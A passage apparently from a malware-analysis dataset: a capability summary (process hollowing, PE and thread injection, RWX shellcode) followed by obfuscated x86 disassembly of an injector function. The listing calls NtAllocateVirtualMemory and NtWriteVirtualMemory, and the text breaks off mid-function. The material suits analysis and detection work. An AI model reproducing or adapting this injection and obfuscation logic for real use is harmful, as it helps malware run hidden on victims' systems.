Function at 0x10008c50
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a0
mov eax, dword [0x1006e204]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1a8], 0x390fba16
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1ac], eax
sub eax, 0x8141e48e
je 0x1000d999
jmp 0x10008c8c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x835379ca
je 0x1000f2c4
jmp 0x10008ca2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x844305d4
je 0x1000c697
jmp 0x10008cb8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x84aff38a
je 0x1000e50f
jmp 0x10008cce
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8523f11d
je 0x1000b11a
jmp 0x10008ce4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x857f5dc6
je 0x10010275
jmp 0x10008cfa
mov eax, dword [ebp - 0x1ac]
sub eax, 0x860581a4
je 0x1000e944
jmp 0x10008d10
mov eax, dword [ebp - 0x1ac]
sub eax, 0x885beb0a
je 0x1000b44b
jmp 0x10008d26
mov eax, dword [ebp - 0x1ac]
sub eax, 0x885c74aa
je 0x1000e579
jmp 0x10008d3c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x889fb21d
je 0x10010444
jmp 0x10008d52
mov eax, dword [ebp - 0x1ac]
sub eax, 0x89fd2da0
je 0x1000fbd0
jmp 0x10008d68
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8b45e23c
je 0x1000d290
jmp 0x10008d7e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8b5177f2
je 0x1000d4e8
jmp 0x10008d94
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8b5f4b42
je 0x1000f97c
jmp 0x10008daa
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8cb2bfdb
je 0x1000c2b6
jmp 0x10008dc0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8e079c1c
je 0x1000f273
jmp 0x10008dd6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8e39f539
je 0x10010055
jmp 0x10008dec
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8ed334f6
je 0x1000d893
jmp 0x10008e02
mov eax, dword [ebp - 0x1ac]
sub eax, 0x920ed8e7
je 0x1000d327
jmp 0x10008e18
mov eax, dword [ebp - 0x1ac]
sub eax, 0x93432adb
je 0x1000aa97
jmp 0x10008e2e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x935dda79
je 0x1000eded
jmp 0x10008e44
mov eax, dword [ebp - 0x1ac]
sub eax, 0x93db2c39
je 0x1000ce23
jmp 0x10008e5a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x94703caf
je 0x1000ddc1
jmp 0x10008e70
mov eax, dword [ebp - 0x1ac]
sub eax, 0x95a0c835
je 0x1000c553
jmp 0x10008e86
mov eax, dword [ebp - 0x1ac]
sub eax, 0x96ed5000
je 0x1000ceda
jmp 0x10008e9c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9741b240
je 0x1000db50
jmp 0x10008eb2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9b8fd25c
je 0x1000f50d
jmp 0x10008ec8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9c7ecb47
je 0x1000e1ab
jmp 0x10008ede
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9cf78e68
je 0x100104c3
jmp 0x10008ef4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9deb988f
je 0x1000d508
jmp 0x10008f0a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9ea5639e
je 0x1000ce6c
jmp 0x10008f20
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9ed7bbb0
je 0x1000e98d
jmp 0x10008f36
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9f6102b1
je 0x1001012c
jmp 0x10008f4c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa022a203
je 0x1000b4c1
jmp 0x10008f62
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa09ae0ec
je 0x1000c4af
jmp 0x10008f78
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa14ed791
je 0x1000c93e
jmp 0x10008f8e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa1e60fec
je 0x1000a96b
jmp 0x10008fa4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa21050e1
je 0x1001014a
jmp 0x10008fba
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa2b3ff38
je 0x10010064
jmp 0x10008fd0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa34d01ba
je 0x1000ab60
jmp 0x10008fe6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa3528673
je 0x1000bbe9
jmp 0x10008ffc
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa3fbf6cb
je 0x1000e79e
jmp 0x10009012
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa43522c9
je 0x1000da71
jmp 0x10009028
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa45c4698
je 0x10010266
jmp 0x1000903e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa5003ae6
je 0x1000f6cf
jmp 0x10009054
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa5300792
je 0x1000dff1
jmp 0x1000906a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa53fca0b
je 0x1000f264
jmp 0x10009080
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa55157a8
je 0x1000c046
jmp 0x10009096
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa670e68b
je 0x1000f5d3
jmp 0x100090ac
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa6e9e62e
je 0x100102a2
jmp 0x100090c2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa7988a75
je 0x10010046
jmp 0x100090d8
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa8601939
je 0x1000ee81
jmp 0x100090ee
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa8f5f079
je 0x1000c6e8
jmp 0x10009104
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaa1cfea5
je 0x1000d950
jmp 0x1000911a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaa5573e8
je 0x1000c33d
jmp 0x10009130
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaab16ed6
je 0x1000e439
jmp 0x10009146
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaac4aa27
je 0x1000f327
jmp 0x1000915c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaad480ec
je 0x1000f760
jmp 0x10009172
mov eax, dword [ebp - 0x1ac]
sub eax, 0xab084ecc
je 0x1000b765
jmp 0x10009188
mov eax, dword [ebp - 0x1ac]
sub eax, 0xabccd9ac
je 0x1000e3a9
jmp 0x1000919e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac2d817c
je 0x1000e4be
jmp 0x100091b4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xacb0b408
je 0x1000d1d3
jmp 0x100091ca
mov eax, dword [ebp - 0x1ac]
sub eax, 0xadc627d9
je 0x1000ca05
jmp 0x100091e0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xae62d512
je 0x1000f9f7
jmp 0x100091f6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb06f7cb6
je 0x1000dada
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3d6fc3f9
mov ecx, 0x35d7ff5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0xfa407259
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11b3c98d
mov ecx, 0x7341f327
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x538da73d
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
sub edx, 0xc1ead7c7
sub edx, 1
add edx, 0xc1ead7c7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4960357e
mov ecx, 0xa022a203
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0xabd2f85d
sub edx, 1
sub edx, 0xabd2f85d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a902454
mov ecx, 0xfd258084
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
sub edx, 0x43400c02
sub edx, 1
add edx, 0x43400c02
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x38bf7ed3
mov ecx, 0xd470e17f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0x982c5376
sub edx, 1
sub edx, 0x982c5376
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f6102b1
mov ecx, 0xb1dd2827
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x3762e5bf
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x794ba5ec
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
sub edx, 0xf9e49ac0
sub edx, 1
add edx, 0xf9e49ac0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb25d0f42
mov ecx, 0x6f1fe355
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x174]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x178]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x174]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x1a8], 0x11f93b22
jmp 0x10010704
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x188]
mov edx, dword [eax]
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov esi, dword [ebp - 0x174]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub edx, eax
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0x55478bf3
sub edx, 1
sub edx, 0x55478bf3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x19fa4b6c
mov ecx, 0x37ecf830
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0xd904c5e2
sub edx, 1
sub edx, 0xd904c5e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3c15b1c
mov ecx, 0xa8f5f079
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0x170]
mov dword [eax], 0
mov eax, dword [ebp - 0x198]
add eax, 0x18
mov dword [ebp - 0xd8], eax
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
sub edx, 0xa349103a
sub edx, 1
add edx, 0xa349103a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3c15b1c
mov ecx, 0x6f4ac556
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0x2767309a
sub edx, 1
sub edx, 0x2767309a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa45c4698
mov ecx, 0xf395059
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaad480ec
mov ecx, 0xda88ba2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x1a8], 0xe822a7ab
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x507e502f
mov ecx, 0x96ed5000
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x507e502f
mov ecx, 0xf124fa99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
sub edx, 0x23a44840
sub edx, 1
add edx, 0x23a44840
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b5f4b42
mov ecx, 0x575b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dl, byte [ebp - 0xa9]
mov eax, 0x79d2e036
mov ecx, 0x1d18a260
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0x4fbdd315
sub edx, 1
sub edx, 0x4fbdd315
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e6ab9fb
mov ecx, 0xf4630584
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x1a8], 0x9deb988f
jmp 0x10010704
mov edx, dword [ebp - 0xa8]
mov eax, 0x3a271888
mov ecx, 0xffb8ffdd
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x99], al
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0x81b8d793
sub edx, 1
sub edx, 0x81b8d793
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23d82cdb
mov ecx, 0x11358eb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8b33f90
mov ecx, 0x8141e48e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8b33f90
mov ecx, 0xd04a73a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov edx, dword [ebp - 0x98]
mov eax, 0x70a3a47a
mov ecx, 0x1852ea3f
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov ax, word [ebp - 0x90]
movzx ecx, ax
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x94]
sub ecx, 0x5a2d211d
add ecx, eax
add ecx, 0x5a2d211d
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4bb9e9d8
mov ecx, 0xda489060
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov edx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
add edx, 0x9d099d2e
sub edx, 1
sub edx, 0x9d099d2e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x889fb21d
mov ecx, 0xebe07867
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
sub edx, 0x4a2a8e55
sub edx, 1
add edx, 0x4a2a8e55
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67f30acd
mov ecx, 0xcd3b73fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x11bcdc1c
jmp 0x10010704
mov eax, dword [ebp - 0x80]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x84]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x170]
mov dword [eax], ecx
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
sub edx, 0x4a1b2713
sub edx, 1
add edx, 0x4a1b2713
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ef252d0
mov ecx, 0xaab16ed6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x8b5177f2
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0xa0ed1e7c
sub edx, 1
sub edx, 0xa0ed1e7c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbca69b0b
mov ecx, 0x84aff38a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x79d2e036
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd15637ef
mov ecx, 0xcf93afc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0xeaf543e5
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b40507
mov ecx, 0x9ed7bbb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dl, byte [ebp - 0x6d]
mov eax, 0x6db03ba8
mov ecx, 0x1a9a4b90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x198]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x68], eax
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xee97b43c
mov ecx, 0x20f181eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
sub edx, 0x61ba94ad
sub edx, 1
add edx, 0x61ba94ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x247c49a0
mov ecx, 0x1521a56e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x8e079c1c
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
sub edx, 0x2e36518d
sub edx, 1
add edx, 0x2e36518d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb7111e4
mov ecx, 0x835379ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov eax, dword [0x1006f488]
mov ecx, dword [0x1006f484]
mov edx, eax
add edx, 0xc234eabb
sub edx, 1
sub edx, 0xc234eabb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb7111e4
mov ecx, 0xd9a3f5ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x10010704
mov dword [ebp - 0x1a8], 0x2c2efc3a
jmp 0x10010704
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x188]
mov eax, dword [ebp - 0x184]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, dword [0x1006f488]
mov eax, dword [0x1006f484]
mov edx, ecx
sub edx, 0x3955d651
sub edx, 1
add edx, 0x3955d651
imul ecx, edx
